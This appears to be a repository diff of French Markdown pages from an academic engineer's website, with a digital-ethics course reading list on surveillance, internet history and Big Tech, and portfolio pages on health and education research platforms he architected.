      <li>Tous les slides sont fait avec <a href="https://github.com/hakimel/reveal.js">reveal.js</a>
        <ul>
          <li>ils sont exportables en pdf en ajoutant <code>?print-pdf#</code> à l'url (à coller juste après le <code>.html</code>) et en passant par l'impression dans un fichier du navigateur chrome ou (mieux) <a href="https://www.chromium.org/">chromium</a>
            <ul>
              <li>plus de détails sur l'<a href="https://github.com/hakimel/reveal.js/#pdf-export">export PDF de reveal</a></li>
            </ul>
          </li>
        </ul>
      </li>
    </ul>
  </div>
</div>

## Evaluation

* Examen écrit en fin de session

## Environnement de TP

* N'importe quelle VMs fresh de type debian fonctionnera avec les commandes du support de cours

<!--
### déployer et configurer TLS  avec Apache

* [https://gitlab.isima.fr/vimazeno/tp-www-ssl](https://gitlab.isima.fr/vimazeno/tp-www-ssl)

## Mini projet en binôme

* Donnez une manière de générer un [QR-code permettant d'importer directement une clé publique PGP avec OpenKeyChain](https://github.com/open-keychain/open-keychain/wiki/QR-Codes)
  * listez les outils utilisés
  * détaillez les commandes à effectuer pour passer de la clé publique au QR-Code
  * détaillez comment vous avecz tester le contenu de votre QR-Code
  * joignez le QR-Code de votre clé PGP au message
* Publiez votre clé PGP sur https://pgp.mit.edu puis envoyez moi l'url de votre clé
* Signez ma clé PGP isima https://fc.isima.fr/~mazenod/pages/pgp.html ou https://pgp.mit.edu/pks/lookup?op=vindex&search=0x408A4E510DCD0D14 et envoyez là moi en pièce jointe de votre message (2 points)
* Votre message devra être chiffré, signé et comporter votre clé publique en pièce jointe

* Rendu le 25/03/2019 à 23h59 dernier délais

  * à [vincent.mazenod@uca.fr](mailto:vincent.mazenod@uca.fr)

    * ```[TP privacy crypto]``` dans le sujet du mail ... sinon je vous perds ;)


    * Tous les fichiers nommés en NOMETUDIANT1_NOMETUDIANT2_nomfichier.ext

-->

## Evaluation du cours

Vous avez aimé ou vous avez détesté ce cours ... [donnez moi votre avis et aidez moi à l'améliorer (en tout anonymat)](https://docs.google.com/forms/d/1w65KH2cnL_DbTKrUT-2AMvQ_p0Ht-wfSJT2YLEB8l7E/prefill)
+148 −0
Original line number Diff line number Diff line
Title: ZZ3 - Ethique du numérique
Date: 2020-10-22 08:00
Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> &Eacute;tudiants
Tags: cours, éthique

[TOC]

<div class="panel panel-success">
  <div class="panel-heading">
    <h3 class="panel-title">FYI</h3>
  </div>
  <div class="panel-body">
    <ul>
      <li>Tous les slides sont fait avec <a href="https://github.com/hakimel/reveal.js">reveal.js</a>
        <ul>
          <li>ils sont exportables en pdf en ajoutant <code>?print-pdf#</code> à l'url (à coller juste après le <code>.html</code>) et en passant par l'impression dans un fichier du navigateur chrome ou (mieux) <a href="https://www.chromium.org/">chromium</a>
            <ul>
              <li>plus de détails sur l'<a href="https://github.com/hakimel/reveal.js/#pdf-export">export PDF de reveal</a></li>
            </ul>
          </li>
        </ul>
      </li>
    </ul>
  </div>
</div>

### une contre histoire de l'utopie numérique

* [<i class="fas fa-desktop"></i> une contre histoire de l'utopie numérique](slides/privacy/chun.html)


### Je n'ai rien à cacher

* [<i class="fas fa-desktop"></i> je n'ai rien à cacher](slides/privacy/jnarac2.html)

### Liens

<div class="panel panel-success">
  <div class="panel-heading">
    <h3 class="panel-title">Pour acheter des livres ...</h3>
  </div>
  <div class="panel-body">
    plutôt que d'acheter sur amazon pensez local et commandez via le site <a href="https://www.librairielesvolcans.com/">de la scop des volcans</a>:
    <ul>
      <li>c'est le même prix</li>
      <li>ils peuvent tout obtenir dans un délais raisonnable en commandant à partir du site</li>
      <li>ils vous préviennent par mail ou SMS quand la commande est arrivée</li>
      <li>il faut juste aller chercher la commande chez des gens qui ont le sourire, et qui sont les <a href="https://www.librairielesvolcans.com/l-histoire-de-la-scop/ssh-4823">actionnaires de la boutique pour la quelle ils travaillent</a></li>
    </ul>
  </div>
</div>

#### Novlangue

* [<i class="fab fa-wikipedia-w"></i> Novlangue](https://fr.wikipedia.org/wiki/Novlangue)
* [<i class="fas fa-newspaper"></i> Quand la "vidéoprotection" remplace la "vidéosurveillance" (*Le monde*)](https://www.lemonde.fr/societe/article/2010/02/16/quand-la-videoprotection-remplace-la-videosurveillance_1306876_3224.html)
* [<i class="fab fa-youtube"></i> sur la manipulation des mots (*Franck Lepage*)](https://www.youtube.com/watch?v=mD-G5lHXviY)
* [<i class="fab fa-youtube"></i> Le mot qui a remplacé "Hiérarchie" (*Franck Lepage*)](https://www.youtube.com/watch?v=IUB1XsT5IQU)
* [<i class="fab fa-youtube"></i> La langue de bois décryptée avec humour ! (*Franck Lepage*)](https://www.youtube.com/watch?v=oNJo-E4MEk8)

#### Histoire du numérique

* [<i class="fas fa-newspaper"></i> Chronologie du réseau Internet](http://www.tiki-toki.com/timeline/embed/137139/6372410394/#vars!date=1954-07-27_20:20:56!)
* [<i class="fas fa-newspaper"></i> Une histoire d'Internet (*Laurent Chemla*)](http://www.chemla.org/textes/hinternet.html)
* [<i class="fas fa-newspaper"></i> Déclaration d’indépendance du Cyberespace (*John P. Barlow*)](http://editions-hache.com/essais/barlow/barlow2.html)
* [<i class="fas fa-newspaper"></i> Une nouvelle déclaration d’indépendance du cyberespace (*Libération*)](http://www.liberation.fr/amphtml/debats/2018/02/09/une-nouvelle-declaration-d-independance-du-cyberespace_1628377)
* [<i class="fas fa-podcast"></i> Une histoire de… l'Internet (*Julien Le Bot*)](https://www.radiofrance.fr/franceculture/podcasts/serie-une-histoire-de-l-internet)
* [<i class="fas fa-book"></i> Aux sources de l'utopie numérique (*Fred turner*)](http://cfeditions.com/Turner/)
* [<i class="fas fa-book"></i> Les Rêves cybernétiques de Norbert Wiener(*Pierre Cassou-Noguès*)](https://www.seuil.com/ouvrage/les-reves-cybernetiques-de-norbert-wiener-pierre-cassou-nogues/9782021090284)
* [<i class="fas fa-book"></i> Internet, année zéro (*Jonathan Bourguignon*)](https://www.editionsdivergences.com/livre/internet-annee-zero)
* [<i class="fas fa-book"></i> L'utopie déchue (*Félix Tréguer*)](https://www.fayard.fr/sciences-humaines/lutopie-dechue-9782213710044)
* [<i class="fas fa-book"></i> Cyberstructure (*Stéphane Bortzmeyer*)](https://cfeditions.com/cyberstructure/)
* [<i class="fab fa-youtube"></i> Jurassic Web, Une préhistoire des réseaux sociaux](https://www.youtube.com/watch?v=mLEbi2MAoL8)
* [<i class="fab fa-youtube"></i> Une contre histoire de l'Internet](https://www.youtube.com/watch?v=MUTABXD8f24)
* [<i class="fab fa-youtube"></i> The Net: The Unabomber, LSD & the Internet](https://www.youtube.com/watch?v=GY6fb59XFbQ)
* [<i class="fab fa-youtube"></i> Comprendre ce que représente le mythe de la « frontière électronique » (*Stéphanie Ouillon*)](https://video.passageenseine.fr/videos/watch/555339ff-ef64-4e18-af40-6bd79b78008b)
* [<i class="fab fa-youtube"></i> Halt and Catch Fire (série télévisée)](https://fr.wikipedia.org/wiki/Halt_and_Catch_Fire_(s%C3%A9rie_t%C3%A9l%C3%A9vis%C3%A9e))
* [<i class="fab fa-youtube"></i> Internet VS minitel 2.0 (*Benjamin Bayard*)](https://cfeditions.com/cyberstructure/)

#### Souveraineté

* [<i class="fas fa-newspaper"></i> Code is law / le code fait loi (*Lawrence Lessig*)](https://framablog.org/2010/05/22/code-is-law-lessig/)
* [<i class="fas fa-book"></i> Richard Stallman et la révolution du logiciel libre - Une biographie autorisée (*Sam Williams, Richard Stallman &Christophe Masutti*)](https://framabook.org/docs/stallman/framabook6_stallman_v1_gnu-fdl.pdf)
* [<i class="fab fa-youtube"></i> L'éthique des hackers (*Steven Levy*)](https://www.editions-globe.com/lethique-des-hackers/)
* [<i class="fas fa-film"></i> The Internet's Own Boy - l'histoire d'Aaron Schwartz](https://www.youtube.com/watch?v=7ZBe1VFy0gc)

#### Microtravail

* [<i class="fab fa-youtube"></i> Invisibles: Les travailleurs du clic](https://www.france.tv/slash/invisibles/saison-1/)

#### Intelligence artificielle

* [<i class="fab fa-youtube"></i> L'asservissement par l'Intelligence Artificielle ? (*Éric Sadin chez ThinkerView*)](https://www.youtube.com/watch?v=VzeOnBRzDik)
* [<i class="fab fa-youtube"></i> Conférence ChatGPT : Une évolution technique majeure (*Vincent Guigue*)](https://webtv.uca.fr/video/2c0d336a-eb51-4e22-9415-0da2ef0eb3a6)
* [<i class="fab fa-youtube"></i> De quoi ChatGPT est-il VRAIMENT capable ? (*Monsieur Phi*)](https://www.youtube.com/watch?v=R2fjRbc9Sa0)

#### Big Tech

* [<i class="fas fa-book"></i> Le mythe de l'entrepreneur: Défaire l'imaginaire de la Silicon Valley (*Anthony Galluzzo*)](https://www.editionsladecouverte.fr/le_mythe_de_l_entrepreneur-9782355221972)
* [<i class="fas fa-book"></i> Steve Jobs (*Walter Isaacson*)](https://fr.wikipedia.org/wiki/Steve_Jobs_(livre))
* [<i class="fas fa-film"></i> Steve Jobs (Danny Boyle)](https://fr.wikipedia.org/wiki/Steve_Jobs_(film))
* [<i class="fas fa-film"></i> Silicon Valley (série télévisée)](https://fr.wikipedia.org/wiki/Silicon_Valley_(s%C3%A9rie_t%C3%A9l%C3%A9vis%C3%A9e))


#### Surveillance

* [<i class="fab fa-wikipedia-w"></i> Fichage en france](https://fr.wikipedia.org/wiki/Fichage_en_France)
* [<i class="fas fa-newspaper"></i> Loi de Programmation Militaire 2014-2019 :  Eléments d’évaluation du risque législatif lié à l’article 13](http://ifrei.org/tiki-download_file.php?fileId=59)
* [<i class="fab fa-youtube"></i> Tous surveillés - 7 milliards de suspects !](https://www.arte.tv/fr/videos/083310-000-A/tous-surveilles-7-milliards-de-suspects/)
* [<i class="fab fa-youtube"></i> Rien à cacher](https://www.youtube.com/watch?v=djbwzEIv7gE)
* [<i class="fas fa-film"></i> Citizen four - (*Laura Poitras*)](https://www.youtube.com/watch?v=ABBPRd7ARYM)
* [<i class="fas fa-film"></i> Le cinquième pouvoir](https://fr.wikipedia.org/wiki/Le_Cinqui%C3%A8me_Pouvoir)
* [<i class="fas fa-film"></i> Underground : L'Histoire de Julian Assange](https://fr.wikipedia.org/wiki/Underground_:_L%27Histoire_de_Julian_Assange)
* [<i class="fas fa-film"></i> Snowden](https://fr.wikipedia.org/wiki/Snowden_(film))
* [<i class="fas fa-book"></i> surveillance:// (*Tristan Nitot*)](http://standblog.org/blog/pages/Surveillance)
* [<i class="fas fa-book"></i> Attentifs ensemble! (*Jérôme Thorel*)](http://www.editionsladecouverte.fr/catalogue/index-Attentifs_ensemble__-9782707174215.html)
* [<i class="fas fa-book"></i> Menaces sur nos libertés (*Julian Assange / Jacob Appelbaum / Müller-Maguhn / Jérémie Zimmermann*)](https://korben.info/menace-sur-nos-libertes-assange.html)
* [<i class="fas fa-book"></i> Guide d'autodéfense numérique](https://guide.boum.org/)
* [<i class="fas fa-book"></i> Mémoires Vives (*Edward Snowden*)](https://fr.wikipedia.org/wiki/M%C3%A9moires_vives_(livre))
* [<i class="fas fa-book"></i> L’Âge du capitalisme de surveillance (*Shoshana Zuboff*)](https://www.zulma.fr/livre/lage-du-capitalisme-de-surveillance/)
* [<i class="fas fa-book"></i> Le bug humain (*Sébastien Bohler*)](https://fr.wikipedia.org/wiki/Le_Bug_humain)

#### Piraterie

* [<i class="fab fa-youtube"></i> TPB AFK: The Pirate Bay Away From Keyboard](https://www.youtube.com/watch?v=eTOKXCEwo_8)

#### Sécurité

* [<i class="fas fa-university"></i> ANSSI](https://www.ssi.gouv.fr/)
* [<i class="fab fa-youtube"></i> Les marchands de peur / La bande à Bauer et l'idéologie sécuritaire (*Mathieu Rigouste*)](https://www.editionslibertalia.com/catalogue/a-boulets-rouges/Les-Marchands-de-peur)
* [<i class="fas fa-film"></i> Cybertraque](https://fr.wikipedia.org/wiki/Cybertraque_(film))


#### Société

* [<i class="fab fa-wikipedia-w"></i> Luddisme](https://fr.wikipedia.org/wiki/Luddisme)
* [<i class="fab fa-wikipedia-w"></i> Comité pour la liquidation ou la destruction des ordinateurs (CLODO)](https://fr.wikipedia.org/wiki/Comit%C3%A9_pour_la_liquidation_ou_la_destruction_des_ordinateurs)
* [<i class="fab fa-wikipedia-w"></i> Jello Biafra](https://fr.wikipedia.org/wiki/Jello_Biafra)
* [<i class="fas fa-book"></i> Cybernétique et société (*Norbert wiener*)](http://www.seuil.com/ouvrage/cybernetique-et-societe-norbert-wiener/9782757842782)
* [<i class="fas fa-book"></i> Le cimetière de Prague (*Umbero Eco*)](https://www.grasset.fr/livres/le-cimetiere-de-prague-9782246783893)
* [<i class="fas fa-book"></i> La société du risque (*Ulrich Beck*)](https://editions.flammarion.com/Catalogue/champs-essais/philosophie/la-societe-du-risque)
* [<i class="fas fa-book"></i> Surveiller et punir (*Michel Foucault*)](https://fr.wikipedia.org/wiki/Surveiller_et_punir)
* [<i class="fas fa-book"></i> Sapiens : Une brève histoire de l'humanité (*Yuval Noah Harari*)](https://www.albin-michel.fr/ouvrages/sapiens-edition-limitee-9782226445506)


### Evaluation

* Questionnaire papier à remplir en fin de cours
 No newline at end of file
+40 −0
Original line number Diff line number Diff line
Title: ARBORea <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
Date: 2019-10-06 10:27
Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
Tags: www, santé


<div class="progress">
    <div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width: 100%">
        <span class="sr-only">100% complete</span>
    </div>
</div>

ARBORea est un **projet interdisciplinaire** mené en collaboration avec le [Centre Hospitalier Universitaire (CHU) de Clermont-Ferrand](https://www.chu-clermontferrand.fr/)

**Le recours aux contentions mécaniques est une pratique fréquente pour les soignants en service de réanimation**. Cet acte, réalisé sur prescription médicale, requiert l’attention de l’ensemble des équipes paramédicales et médicales pour sa mise en place, sa surveillance et sa levée. Il constitue une restriction majeure de la liberté individuelle des patients. La [Haute Autorité de Santé (HAS0](https://www.has-sante.fr/) a défini, pour les services de gériatrie et de psychiatrie, dix critères de bonnes pratiques afin d’assurer la qualité d’utilisation des contentions. **Aucune législation n’est retrouvée concernant ces pratiques en réanimation, bien que quotidiennement utilisées**. En pratique courante, le principal critère d’instauration des contentions rapporté par les soignants est la sécurité. L’équipe paramédicale, en première ligne au chevet des patients, est garante de leur sécurité et de leur intégrité physique. Cette décision, souvent laissée à la seule appréciation de l’infirmier(e), varie en fonction de sa propre représentation du risque et dépend de plusieurs facteurs : son ancienneté en réanimation, du ratio infirmier/patient et de la charge de travail dans l’unité.

Les patients de réanimation ayant souvent un conditionnement vital, l’évaluation de l’importance de celui-ci et du risque lié à son endommagement ou son retrait inopiné conditionne la décision de contention par le soignant. 
La désorientation ou le delirium peuvent entraîner des incidents sévères en favorisant des déconditionnements accidentels. Cependant, il est reconnu que les contentions peuvent devenir une cause majeure d’apparition d’un syndrome confusionnel (delirium) et d’une agitation. 

D’après la littérature, environ **33% des patients de réanimation font l’objet d’une contention**, et un déconditionnement accidentel est observé majoritairement chez ces derniers. Lors d’un recueil de données réalisées en 2018 au [Centre Hospitalier Universitaire (CHU) de Clermont-Ferrand](https://www.chu-clermontferrand.fr/), sur 275 patients de réanimation adulte, il ressortait un taux de contention de 28%. 

Afin de réduire la subjectivité et l’hétérogénéité des pratiques, un outil d’aide à la décision de mise en place des contentions a été développé. Il repose sur des éléments objectifs concernant l’état neurologique du patient sur la base des **scores de RASS (Richmond Agitation-Sedation Scale)** et de **CAM-ICU (Confusion Assessment Method for the Intensive Care Unit)** et par les **modifications de posologie des sédations**. Par ailleurs, trois catégories de patients ont été définies selon le caractère invasif du conditionnement et donc selon le risque encouru en cas de retrait inopiné. Enfin, la présence de la famille du patient et son adhésion à sa surveillance ont été intégrées à l’outil.

* **Objectifs** : Étudier conjointement l’efficacité et la tolérance de l’utilisation d’un outil d’aide à la décision de contention mécanique des patients hospitalisés en réanimation.

* **Type d’étude** : Essai contrôlé randomisé multicentrique en stepped wedge (permutation en grappe)

* **Nombre de centres** : 19 centres

<hr/>

## Pour ce projet (entre 2019 et 2022)

* j'ai défini les besoins et l'architecture technique
* j’ai développé un maquette, sécurisée en conformité avec la [cadre légal concernant l'hébergement et le traitement des données de santé](https://www.cnil.fr/fr/thematiques/sante), selon permettant aux soignants
  * de saisir un nouveau dossier pseudonymisé
  * de bénéficier d'une aide à la décision de contention
  * d'effectuer le suivi des incidents
  * de gérer l'accès des soignants à la plateforme via un système de gestion d'utilisateur et une interface d'administration complète
* Le projet est désormais géré par le [<i class="fab fa-linkedin"></i> Ruben Martinez](https://www.linkedin.com/in/ruben-martinez-8337a469/) actuellement en poste au [Centre Hospitalier Universitaire (CHU) de Clermont-Ferrand](https://www.chu-clermontferrand.fr/)
+30 −0
Original line number Diff line number Diff line
Title: Cepppia  <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
Date: 2016-10-15 10:27
Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
tags: www, santé, mining


<div class="progress">
    <div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="70" aria-valuemin="0" aria-valuemax="100" style="width: 100%">
        <span class="sr-only">100% complete</span>
    </div>
</div>

est un projet issu des travaux du groupe santé [du Conseil de Développement du Grand Clermont](https://www.legrandclermont.com/conseil-de-developpement). Il est porté par le [Centre Hospitalier Universitaire (CHU) de Clermont-Ferrand](https://www.chu-clermontferrand.fr/) et co-financé par l'Union Européenne. 

Il propose une ambition nouvelle en santé, par la mise en œuvre du concept de **médecine 4P** : **Prédictive**, **Préventive**, **Personnalisée et Participative**. 

Ce projet est articulé autour d’un **questionnaire sur les habitudes alimentaires et comportementales** des personnes sondées et une partie analyse de données collectées permettant d’automatiser et d’enrichir la détection des profils à risque.

<hr />

## Pour ce projet

De 2016 à 2018

* j'ai défini les besoins et l'architecture technique sécurisée basée sur, une analyse de risque respectant les contraintes du cahier des charges HDS.
* j'ai rédigé les spécifications techniques pour l’appel d’offre pour un hébergement certifié HDS et participé au choix final du prestataire
* j'ai mis en conformité la plateforme avec [cadre légal concernant l'hébergement et le traitement des données de santé](https://www.cnil.fr/fr/thematiques/sante)
* j'ai encadré un ingénieur en charge du développement logiciel
    * Carlos Cepeda
* j'ai coordoné le déploiement de l'applicatif en production avec le prestataire d'hébergement de données de santé [IBO](https://www.ibo.fr/)
+41 −0
Original line number Diff line number Diff line
Title: eP3C  <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
Date: 2017-11-21 10:27
Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
Tags: www, éducation, STI, LRS


<div class="progress">
    <div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="100" aria-valuemin="0" aria-valuemax="100" style="width: 100%">
        <span class="sr-only">100% complete</span>
    </div>
</div>


Le projet [e-P3C (Pluralité des Contextes, Compétences et Comportements)](https://www.ac-clermont.fr/presentation-des-resultats-e-fran-123094) est un projet lauréat de l'appel à projet [e-Fran](https://www.education.gouv.fr/e-fran-des-territoires-educatifs-d-innovation-numerique-326083) initié par la mission Monteil (mission interministérielle sur le numérique éducatif) dans le cadre du [Programme d’Investissements d’Avenir (PIA2)](https://www.education.gouv.fr/bo/15/Hebdo30/MENB1517013N.htm) et dans le but d’apporter un soutien financier à des projets mobilisateurs de territoires éducatifs innovants, de stimuler la création d’une culture partagée autour des enjeux de l’éducation à la société numérique et autour de la nécessité d’apprendre "le numérique" et "avec le numérique".

eP3C est porté par [Pascal Huguet](https://lapsco.fr/la-direction.html), Directeur du [laboratoire de psychologie sociale et cognitive (LAPSCO)](https://lapsco.fr) (UMR 6024 UCA-CNRS), en partenariat étroit avec le [Rectorat de Clermont-Ferrand](https://www.ac-clermont.fr/), notamment avec Marie- Claude Borion, chargée de mission à la délégation académique au Numérique et Nicolas Rocher IPR, représentant des corps d'inspection. Deux entreprises régionales ([maskott](https://www.maskott.com/) et [Perfect memory](https://perfect-memory.com)) ont également collaboré à l'élaboration de ce projet, qui a impliqué quelques 8000 élèves de l'académie dans 10 établissements scolaires, et est le fruit d'une réflexion concertée entre les différents partenaires avec une implication forte des corps d'inspection et des chefs d'établissements qui ont participé à une grande expérimentation sur la diversification des contextes d'apprentissage. 

Pendant les 4 ans de son déroulement les équipes pédagogiques ont été associées à la construction des protocoles de recherche. 

L'académie a soutenu fortement la candidature en s'engageant auprès des acteurs et en dégageant des heures  pour les enseignants référents dans les établissements.

L'objectif est d’optimiser l’utilisation des technologies numériques pour diversifier les contextes d’apprentissage au service de la réussite de tous les élèves. Concrètement, il s'agit de présenter un même objet d'apprentissage (par exemple un théorème, un principe de physique ou un problème de biologie) et des exercices afférents selon différentes modalités (des plus formelles aux plus ludiques) pour en augmenter la compréhension par tous les élèves, le tout au sein d'un système de tutorat intelligent (STI) capable de recommandations en fonction des actions , des erreurs et des succès de chaque élève. Les données collectées, très nombreuses, seront rigoureusement analysées pour tester l'efficacité des actions entreprises dans ce cadre. Le projet concerne tous les niveaux du collège au lycée.

[Plus d'informations](https://www.ac-clermont.fr/recherche/type/actualites?keywords=ep3c)

<hr/>

## Pour ce projet 

Entre 2017 et 2021

* j'ai défini les besoins et l'architecture technique
* j'ai recruté un développeur pour la conception de la plateforme
    * [Ruben Martinez](https://www.linkedin.com/in/ruben-martinez-8337a469/)
* j'ai encadré le développeur recruté tout au long du développement de la plateforme
* j'ai joué le rôle de coordianteur entre
    * le [rectorat de Clermont-Ferran](http://www.ac-clermont.fr/) notamment pour la partie hébergement
    * [Maskott](https://www.maskott.com/) pour la récupération des données en provenance du STI
    * [Perfect memory](https://perfect-memory.com) pour la partie organisation des connaissances sur les supports de cours
    * les chercheurs du [LAPSCO](https://www.lapsco.fr/) pour la mise en place des questionnaires
* je suis **co auteur de plusieurs <a href="/pages/recherche.html"><span class="label label-success">articles de recherche</span></a>**
 No newline at end of file
+33 −0
Original line number Diff line number Diff line
Title: ECCIPE  <i class="fas fa-spinner fa-spin"></i>
Date: 2021-01-06 10:27
Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
Tags: www, éducation


<div class="progress">
    <div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width: 50%">
        <span class="sr-only">50% complete</span>
    </div>
</div>

Pour le moment eccipe est un projet autonome, développé en collaboration étroite avec le [LP3C](https://www.lp3c.fr). A terme il fera parti intégrante de l'écosystème applicatif du projet <a href="/profan-transfert.html"><span class="label label-success">ProFan-Transfert</span></a>.

Ce projet a pour objectif de concevoir et évaluer l’efficacité d’un outil numérique d’entraînement au travail en équipe sur le développement des compétences collaboratives utilisable en présentiel et/ou à distance. Il s’adresse aux publics en formation initiale et en formation continue.

Le programme de recherches menées sur différents terrains d’études (lycées, universités, écoles d’ingénieurs, …) devra permettre de répondre à deux questions :

1) comment accompagner/guider les apprenants pendant les activités collaboratives pour favoriser des processus d’équipe efficaces au service du développement de compétences collaboratives (Thèse de Sacha DROUET) ?

2) quels types de feed-back faut-il délivrer aux apprenants après une séance de travail en équipe pour conduire des séances de débriefing susceptibles de faciliter le développement de ces compétences (Thèse d’Albane PECHARD) ?

* Plus de détails sur eccipe: [https://www.lp3c.fr/projets-finances/eccipe/](https://www.lp3c.fr/projets-finances/eccipe/)
* Lien vers la plateforme: [https://eccipe.limos.fr/](https://eccipe.limos.fr/)

<hr />

## Pour ce projet (depuis 2021)

* j'ai défini les besoins et l'architecture technique
* j'ai recruté un développeur pour la conception de la plateforme
    * [<i class="fab fa-linkedin"></i> Lise Demourgues](https://www.linkedin.com/in/lise-d-93935b15a/)
* j'ai encadré ce développeur pour la réalisation d'une maquette de la plateforme
+26 −0
Original line number Diff line number Diff line
Title: Mobipaleo <i class="fas fa-spinner fa-spin"></i>
Date: 2016-11-15 10:27
Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
Tags: www, mining


<div class="progress">
    <div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="90" aria-valuemin="0" aria-valuemax="100" style="width: 90%">
        <span class="sr-only">90% complete</span>
    </div>
</div>

[Mobipaleo](https://mobipaleo.limos.fr/) est un **projet interdisciplinaire** visant à modéliser la biodiversité à partir d'études paleoécologiques et écologiques. Le [Geolab](https://geolab.uca.fr/) et le [Muséum national d'Histoire naturelle](https://www.mnhn.fr/fr) sont impliqués dans ce projet.

<hr />

## Pour ce projet (depuis 2016)

* j'ai défini les besoins et l'architecture technique
* j’ai développé [https://mobipaleo.limos.fr](http://mobipaleo.limos.fr) qui permet

    * d’exploiter facilement un outil d’extraction de corrélations.
    * de présenter visuellement les résultats
    * de gérer l'accès à la plateforme via un système de gestion d'utilisateur et une interface d'administration complète
    * [<i class="fab fa-linkedin"></i> Rémy ISSARD](https://www.linkedin.com/in/r%C3%A9my-issard-7b130731/?originalSubdomain=fr) est en charge de la maintenance du produit depuis 2023
* je suis **co auteur de plusieurs <a href="/pages/recherche.html"><span class="label label-success">articles de recherche</span></a>**
 No newline at end of file
+49 −0
Original line number Diff line number Diff line
Title: Profan-Transfert  <i class="fas fa-spinner fa-spin"></i>
Date: 2023-03-30 10:27
Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
Tags: www, éducation


<div class="progress">
    <div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width: 30%">
        <span class="sr-only">30% complete</span>
    </div>
</div>

<img src="https://profan-transfert.limos.fr/ProFAN.svg" style="width:400px;padding:20px" />
### un enjeu pour l'enseignement, un enjeu pour la science


L'ambition première de ProFan Transfert est d'adosser la formation à la recherche scientifique de manière pragmatique.

Cette ambition est actuellement incarnée, pour chaque participant à l'expérimentation, par une plateforme numérique ayant pour but de fluidifier toutes les étapes nécessaires à l'enseignement: la formation des enseignants, la conception d'activités pédagogiques conformes à ces formations, et finalement le bon déroulement des activités ainsi construites, avec les apprenants.

En s'attaquant à la formation professionnelle, Profan-Transfert cible un sous ensemble de l'enseignement secondaire orienté de fait vers la pratique. Ce sous ensemble représente à la fois un enjeu majeur pour les métiers de demain, un contexte propice à la numérisation de l'enseignement et une population d'enseignants et d'apprenants significative, qui permettra de valider ou non les hypothèses que le projet sous-tend. 

L'organisation en cohorte incrémentale par année, permet une montée en charge progressive. Chaque année, de nouvelles fonctionnalités sont proposées à la première cohorte historique. Les nouveaux utilisateurs entrant dans le programme au fil des années suivantes, suivent alors le chemin de formation, d'élaboration et de mise en application, tracé et consolidé par la cohorte précédente.

La plateforme est pensée pour faciliter la collaboration, la diffusion et le partage d'informations. Accessible par un simple navigateur et sécurisée par une gestion de permissions fine, elle permet à chaque utilisateur, de consulter toutes les ressources qui lui sont accessibles, et de produire lui même son propre contenu. Les contenus sont organisés par profils d'utilisateur et par académie, mais accessibles en lecture par tous, afin de favoriser les synergies.

La mise à disposition de contenu est gérée par un produit de partage de fichiers open source (https://owncloud.com), les échanges entre utilisateurs par un produit de discussion open source (https://www.discourse.org), et le reste de la plateforme a été intégralement développé par le LIMOS (https://limos.fr) dans un esprit de réutilisabilité. La souveraineté induite par ces choix technologiques, permet une grande réactivité, ainsi qu'une grande liberté quant aux évolutions des fonctionnalités tout au long de l'expérimentation. Les activités pédagogiques présentées aux apprenants peuvent notamment faire l'objet de développements particuliers: par filière, voire par discipline.

La souveraineté de la plateforme ProFan Transfert permet surtout l'extraction du surplus comportemental de tous les utilisateurs, c'est à dire toutes leurs actions de consultation et d'édition de contenus. C'est sans doute le caractère le plus innovant de l'expérimentation. L'exploitation sans partage des faits et gestes numériques des utilisateurs est le modèle économique des BigTech et autres GAFAM depuis maintenant plus de 20 ans. ProFan Transfert, conscient de la valeur intrinsèque de ce type d'information, propose une exploitation scientifique de ces données, en les contextualisant et en les portant à la connaissance de la communauté scientifique et plus particulièrement, à l'attention des chercheurs en sciences psychologiques et cognitives. Les données seront accessibles dans un entrepôt de données, conforme au cadre légal sur les données personnelles, conçu lui aussi par le LIMOS.

Ainsi ProFan transfert propose à la fois des outils pour les enseignants, des outils pour les apprenants et des outils pour les chercheurs, qui permettront d'amorcer une boucle de rétroaction entre la science et l'enseignement, afin de les faire avancer en synergie.

* Plus de détails sur le projet ProFAN-Transfert: [https://www.enseignementsup-recherche.gouv.fr/fr/bo/23/Hebdo13/MENE2308139N.htm](https://www.enseignementsup-recherche.gouv.fr/fr/bo/23/Hebdo13/MENE2308139N.htm)
* Lien vers la plateforme: [https://profan-transfert.limos.fr/](https://profan-transfert.limos.fr/)

<hr />

## Pour ce projet (depuis 2023)

* j'ai défini les besoins et l'architecture technique
* j'ai recruté 4 développeurs pour la conception de la plateforme
    * [<i class="fab fa-linkedin"></i> Timothé Bertrand](https://www.linkedin.com/in/timoth%C3%A9-bertrand-%F0%9F%A6%80-1a178b200/)
    * [<i class="fab fa-linkedin"></i> Théo Lecoublet](https://www.linkedin.com/in/th%C3%A9o-lecoublet/)
    * [<i class="fab fa-linkedin"></i> Stéphane Guillet](https://www.linkedin.com/in/stephane-guillet/)
    * Axel Mascaro
* j'encadre ces 4 développeurs
* j'ai joué le rôle de coordinateur entre
    * la mission Monteil, les chercheurs du [LAPSCO](https://www.lapsco.fr/) et du [LP3C](https://www.lp3c.fr/en/presentation/) pour la mise en place des fonctionnalités de la plateforme
* je suis **co auteur de plusieurs <a href="/pages/recherche.html"><span class="label label-success">articles de recherche</span></a>** en tant que membre du consortium ProFan
+35 −0
Original line number Diff line number Diff line
Title: Profan  <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
Date: 2017-01-06 10:27
Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
Tags: www, éducation


<div class="progress">
    <div class="progress-bar" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width: 100%">
        <span class="sr-only">100% complete</span>
    </div>
</div>

![ProFan](images/projets/ProFAN.jpg)

